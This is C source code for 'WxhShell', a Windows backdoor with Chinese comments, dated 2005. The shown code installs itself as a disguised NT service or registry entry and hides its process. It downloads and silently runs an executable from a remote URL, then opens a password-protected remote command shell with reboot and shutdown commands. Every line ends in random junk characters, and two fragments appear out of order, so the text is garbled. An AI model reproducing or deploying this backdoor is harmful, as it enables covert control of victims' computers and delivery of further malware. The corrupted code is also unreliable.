ULONG UniqueProcessId; dUt4]
ar
ULONG InheritedFromUniqueProcessId; ]!@=2kG4
} PROCESS_BASIC_INFORMATION; RA[%8Rh)
12m-$/5n+
PROCNTQSIP NtQueryInformationProcess; U zc p
u[Si=)`VPk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `JpFqZ'58
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6vR6=@(`>
hayJgkZ'
HANDLE hProcess; }!R*Q`m
PROCESS_BASIC_INFORMATION pbi; -2 >s#/%
!{+.)%d'g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '`.-75T
if(NULL == hInst ) return 0; v9Sk\9}S
32?'jRN(ue
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); / o
I 4&W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1X5Yp |Ho
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NsSZ?ky
l|E4 7@#
if (!NtQueryInformationProcess) return 0; 5J|S6x\
v'b%m8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N3aqNRwlk
if(!hProcess) return 0; L jTSu9I>
l U4 I*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |+::sL\r
qNP)oU92
CloseHandle(hProcess); _SOwiz
`O%nDry
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b;5j awG
if(hProcess==NULL) return 0; i*m;kWu,
|iX>hJSl
HMODULE hMod; 0B!(i.w
char procName[255]; D}lqd Ja
unsigned long cbNeeded; H.E=m0np
OFyy!r@?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *PV"&cx
7aKI=;60.
CloseHandle(hProcess); 4%w<Ekd
=~Qg(=U0U
if(strstr(procName,"services")) return 1; // 以服务启动 -m=A1~|7
CfP-oFHoQ
return 0; // 注册表启动 3S]QIZ1
} =_z o
8.N`^Nj 1
// 主模块 A%HIfSzQBS
int StartWxhshell(LPSTR lpCmdLine) $p4e8j[EJ
{ G9LWnyQt
SOCKET wsl; l9="ccM
BOOL val=TRUE; +Ln^<!P
int port=0; @6tczU}ak
struct sockaddr_in door; ;-@: }/
fpf,gb8[$n
if(wscfg.ws_autoins) Install(); 5 QuRwu_
+y8Y@e}>
port=atoi(lpCmdLine); WysWg7,r
fRLA;1va
if(port<=0) port=wscfg.ws_port; =xRD
%Z
xH{-UQ3R
WSADATA data; +~aIT=i3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f^lcw
rTR"\u7&H
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z_4%Oi
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *AW v
door.sin_family = AF_INET; fW+"Kuw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {d;z3AB
door.sin_port = htons(port); a{Y|`*7y
3en67l
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l5Ko9CG
closesocket(wsl); d~%7A5
return 1; y*{zX=]l<
} gN:F5 0
T1.U (::
if(listen(wsl,2) == INVALID_SOCKET) { M'<% d[
closesocket(wsl); zEtsMU
return 1; :??W3ROn
} b~:)d>s8wY
Wxhshell(wsl); KB|mtsi
WSACleanup(); %A'mXatk
{.AN4
return 0; ;hO6 p
_.V5-iN
} "``>ii
;<Hk Cd
// 以NT服务方式启动 ."^\1N(.n
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |C z7_Rn
{ .!0Rh9yyl
DWORD status = 0; 9?O8j1F
DWORD specificError = 0xfffffff; 4s9@4
so$(-4(E O
serviceStatus.dwServiceType = SERVICE_WIN32; *->*p35
serviceStatus.dwCurrentState = SERVICE_START_PENDING; mHW%:a\L
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gt*K:KT=L
serviceStatus.dwWin32ExitCode = 0; vr4r,[B6y
serviceStatus.dwServiceSpecificExitCode = 0; h+j^VsP zB
serviceStatus.dwCheckPoint = 0; z{\tn.67
serviceStatus.dwWaitHint = 0; 2XeyNX
|e2s\?nB0S
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m!w|~Rk
if (hServiceStatusHandle==0) return; ' *a}*(0OA
r|4D.O]
status = GetLastError(); 'q$ Ym0nL
if (status!=NO_ERROR) .#SgU<Wq
{ 1~K'r&
serviceStatus.dwCurrentState = SERVICE_STOPPED; Bt}90#
serviceStatus.dwCheckPoint = 0; jIe
/X]
serviceStatus.dwWaitHint = 0; ~ E6e~
serviceStatus.dwWin32ExitCode = status; y.D+M$f
serviceStatus.dwServiceSpecificExitCode = specificError; N WF h<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =KOi#;1
return; hIV]ZYbH
} dt"/4wCO
\L~^c1s3r
serviceStatus.dwCurrentState = SERVICE_RUNNING; v9*+@
serviceStatus.dwCheckPoint = 0; $ MH;v_'a
serviceStatus.dwWaitHint = 0; r[}nr H&8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); / kK*%TP
} ZJZSt% r
\}=T4w-e
// 处理NT服务事件,比如:启动、停止 W@r<4?Oat
VOID WINAPI NTServiceHandler(DWORD fdwControl) W g7
eY'FE
{ &(Fm@ksh\
switch(fdwControl) p@f
#fs
{ Vlz\n
case SERVICE_CONTROL_STOP: Lg!E
serviceStatus.dwWin32ExitCode = 0; 3\j`g
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Xa]yA =
serviceStatus.dwCheckPoint = 0; :FS5BT$=
serviceStatus.dwWaitHint = 0; y@I9>}"y
{ 8b]4uI<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YAT@xZs-
} 7,p.M)t)
return; ^Z9bA( w8
case SERVICE_CONTROL_PAUSE: J+IItO4%
serviceStatus.dwCurrentState = SERVICE_PAUSED; P:.jb!ZU
break; Ya\:C]
case SERVICE_CONTROL_CONTINUE: dGOFSH
serviceStatus.dwCurrentState = SERVICE_RUNNING; tmS2%1o
break; i'H]N8,A
case SERVICE_CONTROL_INTERROGATE: 5Z; 5?\g
break; j]kgdAq>
}; Bc }o3oc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [T =>QS@g
} NN'pBUR
$zCCeRP
// 标准应用程序主函数 l3 F$5n
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >YWK"~|i~
{ )4B`U(%M~
4PxP*j
// 获取操作系统版本 OXQA(%MK
OsIsNt=GetOsVer(); }B7Txo,Z
GetModuleFileName(NULL,ExeFile,MAX_PATH); ux1(>
h'&<A_C-7
// 从命令行安装 ~%=%5}
if(strpbrk(lpCmdLine,"iI")) Install(); W[Q<# Ju
&Hp*A^M
// 下载执行文件 (c)/&~aE
if(wscfg.ws_downexe) { tkHmH/'7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )e3w-es~4
WinExec(wscfg.ws_filenam,SW_HIDE); DmuQE~DV
} p
P@q
`
+`Q]p "G
if(!OsIsNt) { "Tser*i )
// 如果时win9x,隐藏进程并且设置为注册表启动 2@Yu:|d4U
HideProc(); >v@3]a
i
StartWxhshell(lpCmdLine); eEVB
} '9WTz(0?
else Yl&[_
l
if(StartFromService()) p1d%&e
// 以服务方式启动 SJP3mq/^K
StartServiceCtrlDispatcher(DispatchTable); }hg=#*
else }FS_"0
// 普通方式启动 D8,8j;
StartWxhshell(lpCmdLine); V;SV0~&
[XI:Yf
return 0; bi+M28m
} aQL0Sj:,
:$K=LV#Iru
A+Isk{d
td%J.&K_*'
=========================================== Pd&KAu|<`
D`^wj FF
M&/4SVBF
9yTdbpY
tKUW
yW'{Z]09
" [Lje?M* r
L:Rg3eo
#include <stdio.h> +8Q @R)3
#include <string.h> CtN\-E-
#include <windows.h> wg)Bx#>\L:
#include <winsock2.h> 7Ji'7$
#include <winsvc.h> )C?H m^#
#include <urlmon.h> ej_u):G*
%$zak@3%'
#pragma comment (lib, "Ws2_32.lib") ;5X~"#%U_
#pragma comment (lib, "urlmon.lib") ({Md({|
\jk*Nm8;
#define MAX_USER 100 // 最大客户端连接数 l2n`fZL
#define BUF_SOCK 200 // sock buffer NbU4|Oi
#define KEY_BUFF 255 // 输入 buffer t^MTR6y+8
AcnY6:3Y|
#define REBOOT 0 // 重启 }G{"Mp4
#define SHUTDOWN 1 // 关机 Rq+7&%dy
_GxC|d
#define DEF_PORT 5000 // 监听端口 w=_^n]`R
5TpvJ1G
#define REG_LEN 16 // 注册表键长度 `+< ^Svou
#define SVC_LEN 80 // NT服务名长度 >2>/
q?
HN`qMGW^
// 从dll定义API q%d'pF
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?m~1b_@A{
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9>-6Y
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
YMv}]
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &@@PJ!&
Cx~;oWZ
// wxhshell配置信息 Mn&_R{{=
struct WSCFG { \Db`RvEmR
int ws_port; // 监听端口 C=oeRc'r1W
char ws_passstr[REG_LEN]; // 口令 AlDp+"|
int ws_autoins; // 安装标记, 1=yes 0=no OHAU@*[lM
char ws_regname[REG_LEN]; // 注册表键名 }X8P5c!\
char ws_svcname[REG_LEN]; // 服务名 #J/RI[a
char ws_svcdisp[SVC_LEN]; // 服务显示名 Ig!0A}f
char ws_svcdesc[SVC_LEN]; // 服务描述信息 EMe1!)
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a_+3, fP
int ws_downexe; // 下载执行标记, 1=yes 0=no rZ(#t{]=!
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .zdaY,
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char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,S
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6e \?%,H
}; u0+F2+ I
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// default Wxhshell configuration %-fXa2
struct WSCFG wscfg={DEF_PORT, kdGq\k,
"xuhuanlingzhe", ^C~_}/cZ
1, Xa>'DO2
"Wxhshell", 'vtJl
"Wxhshell", ygja{W.
"WxhShell Service", RTd,bi*
"Wrsky Windows CmdShell Service",
d<xi/
"Please Input Your Password: ", ;k@]"&t
1, ^bPpcm=
"http://www.wrsky.com/wxhshell.exe", 2jhJXM=~
"Wxhshell.exe" NGi)Lh|
}; +UOVD:G
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// 消息定义模块
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char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {ly <%Q7j
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]m`:T
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]pB5cq7o
char *msg_ws_ext="\n\rExit."; q,7W,<-
char *msg_ws_end="\n\rQuit."; whw+
char *msg_ws_boot="\n\rReboot..."; m.ka%h$
char *msg_ws_poff="\n\rShutdown..."; Q'=7#_
char *msg_ws_down="\n\rSave to "; gp$]0~[tO
0OG
3#pE
char *msg_ws_err="\n\rErr!"; *[
0,QEy
char *msg_ws_ok="\n\rOK!"; 71E~~ $
0s//&'*Q
char ExeFile[MAX_PATH]; Yg5o!A
int nUser = 0; o`QH8
HANDLE handles[MAX_USER]; I*f@^(
int OsIsNt; ))dqC l
'$p`3Oqi
SERVICE_STATUS serviceStatus; 56kqG}mg&
SERVICE_STATUS_HANDLE hServiceStatusHandle; 'W9[Vm
qF(i1#
// 函数声明 sd+_NtH
int Install(void); =pmG.>Si
int Uninstall(void); 4s%zvRu
int DownloadFile(char *sURL, SOCKET wsh); g*FHZM*N9
int Boot(int flag); E|-5=!]fX
void HideProc(void); nnBS;5
int GetOsVer(void); JP"#9f
int Wxhshell(SOCKET wsl); #"r_ 3
void TalkWithClient(void *cs); f-i5tnh
int CmdShell(SOCKET sock); KY<
$+/B!
int StartFromService(void); $$p +~X
int StartWxhshell(LPSTR lpCmdLine); jdVj
FCl^#
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1jKj'7/K
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {G3Ok++hc
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// 数据结构和表定义 0#Us*:[6
SERVICE_TABLE_ENTRY DispatchTable[] = *uK!w(;2
{ i4> M
{wscfg.ws_svcname, NTServiceMain}, DU,B
{NULL, NULL} WRbdv{1E
}; p"6[ S
lBG=jOS
// 自我安装 E*T6kp^b
int Install(void) 9-{.W Z
{ |*ZM{$
char svExeFile[MAX_PATH]; v0&D